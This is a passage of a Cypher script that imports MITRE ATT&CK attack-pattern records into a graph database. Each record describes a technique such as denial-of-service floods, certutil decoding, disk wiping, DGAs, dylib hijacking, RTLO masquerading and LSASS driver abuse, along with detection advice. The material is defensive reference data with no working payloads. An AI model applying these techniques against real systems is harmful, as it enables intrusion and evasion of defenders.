connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)\n\n### Service Exhaustion Flood\nDifferent network services provided by systems are targeted in different ways to conduct a DoS. Adversaries often target DNS and web servers, but other services have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\n#### Simple HTTP Flood\nA large number of HTTP requests can be issued to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\n#### SSL Renegotiation Attack\nSSL Renegotiation Attacks take advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)\n\n### Application Exhaustion Flood\nWeb applications that sit on top of web server stacks can be targeted for DoS. Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)\n\n### Application or System Exploitation\nSoftware vulnerabilities exist that when exploited can cause an application or system to crash and deny availability to users.(Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Endpoint Denial of Service", modified:"2019-06-20T13:58:02.153Z", kill_chain_phases:["81189a6a-702e-424f-9d74-90e34d0dfd46"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4", external_references:["ae868fe5-08e1-489c-b69e-a2b20d439097", "0dcf3b11-03f9-4b8d-a4f3-525114aade0e", "61b4e80b-af21-42bc-a84f-2a391a57d59f", "9439a688-90de-4cbe-8ec5-9adf7d877395", "2b005221-e37f-49c7-b4c6-04b5af45868d", "7a067b26-86c8-44e7-91d5-df76cde8a567", "d2a08e22-5fed-4acc-8687-be03b81a94c5", "581e76aa-98fe-4094-bd44-4e050bd97ef4", "0088d267-5252-4c65-aa79-24675ea337fb", "c3cc2d8f-eafc-44ca-b0e6-0ec3c24b4c9f", "5261dc56-bd49-409c-8c94-40a1d742f967", "4f7f9dd7-d47e-4aee-913c-278eabfd6d1c", "d10f7f1e-67f2-485d-8bcf-1dfde12e8d6e", "97c9888b-f769-44c2-aa56-218f7093622c", "4d2b356a-955f-4797-bd01-451d0a1c2fce", "7d260dc6-652f-4fa6-a1b6-dd61b26ca267", "b95bd423-6685-4343-8f5d-0aef71705598"]}}, {_id:469, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_defense_bypassed\":[\"Anti-virus\",\"Host intrusion prevention systems\",\"Signature-based detection\",\"Network intrusion detection system\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).\\n\\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.\",\"x_mitre_contributors\":[\"Matthew Demaske, Adaptforward\",\"Red Canary\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nAnother example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection.  These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Deobfuscate/Decode Files or Information", modified:"2019-04-25T17:44:54.615Z", kill_chain_phases:["785fc6d0-0e2d-4512-ab32-6eba0dc850f0"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", external_references:["279e688e-646e-4bec-8e05-a8d51b8e7f48", "7414869d-a9f1-4b6c-9f93-b944341b89f4", "d3fa9361-d83e-432a-b38b-bcbe8150ecb0", "e371f7e0-9538-491a-8ac3-458c06337e54"]}}, {_id:485, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-03-19T19:38:27.097Z", custom:"{\"x_mitre_platforms\":[\"Windows\",\"macOS\",\"Linux\"],\"x_mitre_data_sources\":[\"Kernel drivers\",\"MBR\"],\"x_mitre_impact_type\":[\"Availability\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for unusual kernel driver installation activity.\",\"x_mitre_permissions_required\":[\"Administrator\",\"root\",\"SYSTEM\"]}", description:"Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Disk Structure Wipe", modified:"2019-07-19T14:36:43.706Z", kill_chain_phases:["c1d9d75b-cdd6-45cd-87dc-740bf3e556b5"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e", external_references:["63a4bfa9-f1a1-4842-a545-054d1f2ecc6e", "d08de163-2364-427d-9b0b-95ae1cd3ba86", "30409777-6663-469a-b4bd-51a01ba28b21", "c5a043a1-cada-4984-8150-80cd90a7d2fc", "d6cb2ebb-8636-4c68-a257-deda00aac821", "5ff4fac4-fc4c-487c-884a-9e22b1954df4"]}}, {_id:497, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-02-18T17:22:57.831Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"Process use of network\",\"Packet capture\",\"Network device logs\",\"Netflow/Enclave netflow\",\"DNS records\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\\n\\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain or related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Endgame Predicting DGA)\",\"x_mitre_contributors\":[\"Sylvain Gil, Exabeam\",\"Barry Shteiman, Exabeam\",\"Ryan Benson, Exabeam\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Domain Generation Algorithms", modified:"2019-07-17T19:32:24.136Z", kill_chain_phases:["0a667a53-e1bd-474e-a8a6-a5db6f927785"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--54456690-84de-4538-9101-643e26437e09", external_references:["4d45c30f-5d45-4dd1-ba39-b2186ea787d1", "5b009289-137f-42ed-9847-e3b7e9a8bab8", "dddf95d0-c8cc-416c-9284-30b8a82db62c", "d584db9a-9835-4196-ba42-41cd093d8f9b", "e7f5c705-91f7-4a36-9c0c-01a42f222f63", "c0800ed8-321b-4ee0-a7a0-2cbfc9a69af5", "5a500a21-4faf-4a2c-9af8-8089e4c3388c", "62d0de6b-5211-4f27-8228-d2275535e1d9", "54a88f42-9ff0-423b-8db3-596222c97cc3", "0f0ad5e3-aab9-4ace-86cb-7b866f7e9326", "e76592b8-e2bb-4ffe-8b96-af1eb64a36d5"]}}, {_id:523, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"macOS\"],\"x_mitre_effective_permissions\":[\"Administrator\",\"root\"],\"x_mitre_data_sources\":[\"File monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.\",\"x_mitre_permissions_required\":[\"User\"]}", description:"macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Dylib Hijacking", modified:"2019-07-17T19:54:05.549Z", kill_chain_phases:["a499b322-d14a-4a9f-9d05-143c838c8526", "a2c45b04-9d72-4e70-9acf-2e877b78fad6"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda", external_references:["fe3c061d-d734-40e7-a7e7-35acfbe21e97", "269eab12-498f-4f2e-8a99-69f8b681396d", "ec34865b-c41d-4f40-8617-3f893a461e3c", "a5039216-1437-454f-98c0-787a8c4f7d8f"]}}, {_id:433, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:34.523Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_network_requirements\":true,\"x_mitre_data_sources\":[\"Packet capture\",\"Netflow/Enclave netflow\",\"Process use of network\",\"Process monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\"}", description:"An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Data Transfer Size Limits", modified:"2019-06-24T12:03:02.387Z", kill_chain_phases:["c8e6a894-9977-4237-b22b-44464fdc3f1c"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", external_references:["e1114839-760c-498a-bb16-2f979be41045", "514fc2f0-cfe1-4d74-8dc9-d02c7d72581d"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:attack_pattern:SDO;
UNWIND [{_id:437, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-08-30T18:07:27.741Z", custom:"{\"x_mitre_platforms\":[\"AWS\",\"GCP\",\"Azure\"],\"x_mitre_data_sources\":[\"Stackdriver logs\",\"Azure activity logs\",\"AWS CloudTrail logs\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.\",\"x_mitre_contributors\":[\"Netskope\",\"Praetorian\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Adversaries may access data objects from improperly secured cloud storage.\n\nMany cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019)\n\nMisconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Data from Cloud Storage Object", modified:"2019-10-22T20:02:00.249Z", kill_chain_phases:["b54eb0a6-bf83-4ec2-b0f3-c86f56d25141"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", external_references:["3d086505-0a8d-4bf7-ac08-f5b52d8f36f4", "d29a5142-b752-47e8-945b-c34de32563da", "1b695f28-abd9-4117-b83f-9ab896e8c50e", "6ca85356-b6ef-422e-92e0-e0ae4dac0fa0", "2dc8df59-03f5-40a0-9570-6c68953c3963", "44173639-f60b-4842-a962-b6e9a2b9aa9e", "e3da7d2f-e9db-4335-9953-6cddf80082df"]}}, {_id:426, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:18.931Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_network_requirements\":true,\"x_mitre_data_sources\":[\"Packet capture\",\"Process use of network\",\"Process monitoring\",\"Network protocol analysis\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\"}", description:"Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Data Obfuscation", modified:"2019-07-17T18:54:32.478Z", kill_chain_phases:["d960cea2-d14e-4b9a-af06-5a22cb5a922b"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", external_references:["40592c3b-c091-4f96-aa28-8baa8b467b24", "294e6790-300f-4638-83f7-7d38fb691a61"]}}, {_id:987, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Authentication logs\",\"Packet capture\",\"Process monitoring\",\"API monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications\",\"x_mitre_contributors\":[\"Justin Warner, ICEBRG\"],\"x_mitre_permissions_required\":[\"Administrator\",\"SYSTEM\"]}", description:"Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)\n\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Man in the Browser", modified:"2019-07-18T15:36:27.346Z", kill_chain_phases:["70e97e61-6067-4cd2-b220-d9e68fad5d65"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", external_references:["3ae7f2c1-fb3b-48dc-9e7c-f37a6adab5aa", "772882a4-75ab-4c7d-b447-d613ec825367", "81a0be8a-80cb-4588-967e-23a92222bd84", "1ca07450-0ca6-408b-9577-0cad5af0dffa", "13bd395e-08f2-4e18-b302-2fc2e31fcea0"]}}, {_id:994, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:38.511Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Process monitoring\",\"Binary file metadata\"],\"x_mitre_defense_bypassed\":[\"Whitelisting by file name or path\"],\"x_mitre_version\":\"1.2\",\"x_mitre_detection\":\"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\\n\\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\\n\\nFor RTLO, detection methods should include looking for common formats of RTLO characters within filenames such as \\\"\\\\u202E\\\", \\\"[U+202E]\\\", and \\\"%E2%80%AE\\\". Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the a file containing it.\",\"x_mitre_contributors\":[\"Oleg Kolesnikov, Securonix\",\"Nick Carr, FireEye\",\"David Lu, Tripwire\",\"Felipe Espósito, @Pr0teus\",\"ENDGAME\",\"Bartosz Jerzman\"]}", description:"Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.\n\nOne variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous. An example of this is when a common system utility or program is moved and renamed to avoid detection based on its usage.(Citation: FireEye APT10 Sept 2018) This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\nA third variant uses the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver file named <code>March 25 \\u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>. A common use of this technique is with spearphishing attachments since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default. \n\nAdversaries may modify a binary's metadata, including such fields as icons, version, name of the product, description, and copyright, to better blend in with the environment and increase chances of deceiving a security analyst or product.(Citation: Threatexpress MetaTwin 2017)\n\n### Windows\nIn another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)\n\nAn example of abuse of trusted locations in Windows would be the <code>C:\\Windows\\System32</code> directory. Examples of trusted binary names that can be given to malicious binares include \"explorer.exe\" and \"svchost.exe\".\n\n### Linux\nAnother variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten)\n\nAn example of abuse of trusted locations in Linux  would be the <code>/bin</code> directory. Examples of trusted binary names that can be given to malicious binaries include \"rsyncd\" and \"dbus-inotifier\". (Citation: Fysbis Palo Alto Analysis)  (Citation: Fysbis Dr Web Analysis)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Masquerading", modified:"2019-09-10T17:44:59.498Z", kill_chain_phases:["aa5b7564-4753-4aa4-979b-9a477b45432e"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", external_references:["b17d99e5-e025-412d-8740-2254db079858", "68531f17-2de5-4f83-a2dc-af54c92386ad", "0551aab5-6e69-484e-901e-ccfc32541015", "1ea525dd-9447-40d2-a280-b95e74a57a3c", "5873497b-43e9-4e0b-86ee-debb876ceb29", "722dffe4-9a11-4470-9cea-99c17db6ff09", "a82e3c1d-caf5-4dc8-bd78-6c55da26562f", "fe68a299-2dad-44e5-8139-881b00c32d37", "76528ea0-aa63-4f8d-875e-367a65ca0320", "2e98a172-c4cf-44ee-a768-a94989dde0fc", "114330b5-e8c2-4883-868d-7c40d01707ee", "bdf55546-8278-43f0-954f-384f87170e83", "5739ae31-d97d-4735-b052-1661aeba93ac"]}}, {_id:928, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"API monitoring\",\"DLL monitoring\",\"File monitoring\",\"Kernel drivers\",\"Loaded DLLs\",\"Process monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\\n\\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\\n\\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\",\"x_mitre_contributors\":[\"Vincent Le Toux\"],\"x_mitre_permissions_required\":[\"Administrator\",\"SYSTEM\"],\"x_mitre_remote_support\":false}", description:"The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"LSASS Driver", modified:"2019-07-18T15:35:28.054Z", kill_chain_phases:["9b3fa59d-cecc-482b-aac7-7c784853d169", "2de44efa-c7bd-4384-a4bf-e39aca9d42de"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352", external_references:["9f491294-bc32-4aa7-83f4-105dce8141d4", "7a89316e-e834-47b9-a906-01d3b70cb9c9", "3a7cf6bb-80aa-4e22-838b-f108ac37ccc9", "fbffa0d5-8bab-4ce6-a960-91d9b11e28ed", "4b8e0d42-4519-4458-9a16-e4b4268b5cb0"]}}, {_id:936, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"macOS\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Process monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s  KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\",\"x_mitre_permissions_required\":[\"User\",\"Administrator\"]}", description:"Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new 